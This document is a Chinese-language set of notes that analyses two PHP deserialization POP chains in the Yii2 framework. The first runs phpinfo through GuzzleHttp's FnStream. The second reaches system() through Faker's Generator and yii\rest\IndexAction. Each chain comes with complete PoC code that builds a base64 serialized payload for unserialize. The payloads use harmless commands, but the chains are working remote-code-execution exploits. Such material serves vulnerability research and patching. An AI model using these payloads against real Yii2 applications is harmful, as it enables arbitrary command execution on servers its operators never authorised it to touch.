一、pop1链的跟踪
1、路由关系
2、漏洞触发口unserialize(base64_decode($data));
2、__destruct(),魔术法方法调用close函数方法
3、未找到利用链,尝试__call魔术方法
4、逆推找call_user_func
函数
第一部分
namespace yii\db;
class BatchQueryResult
__destruct()
$this->reset();
$this->_dataReader->close();
_dataReader=new FnStream();
第二部分
return call_user_func($this->_fn_close);
$_fn_close="phpinfo"
Poc链
<?php
//链子逆向这写
namespace GuzzleHttp\Psr7{class FnStream{var $_fn_close = "phpinfo";}
}namespace yii\db{use GuzzleHttp\Psr7\FnStream;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new FnStream();}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
5、动态调试
二、pop2链利用分析
1、跟踪call魔术方法到format
format
call_user_func_array($this->getFormatter($formatter), $arguments);
第一个参数可控
2、调用run方法
$this->checkAccess, $this->id,控制这两个参数
第一部分
namespace yii\db;
class BatchQueryResult
__destruct()
$this->reset();
$this->_dataReader->close();
第二部分
__call()
$this->format($method, $attributes)
return call_user_func_array($this->getFormatter($formatter), $arguments);
第三部分
call_user_func()函数方法找到run
Poc:
<?php
//链子逆向这写
namespace yii\rest{//对参数checkAccess,id控制rceclass IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'calc'; //命令执行}}
}
namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){//最核心的地方$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}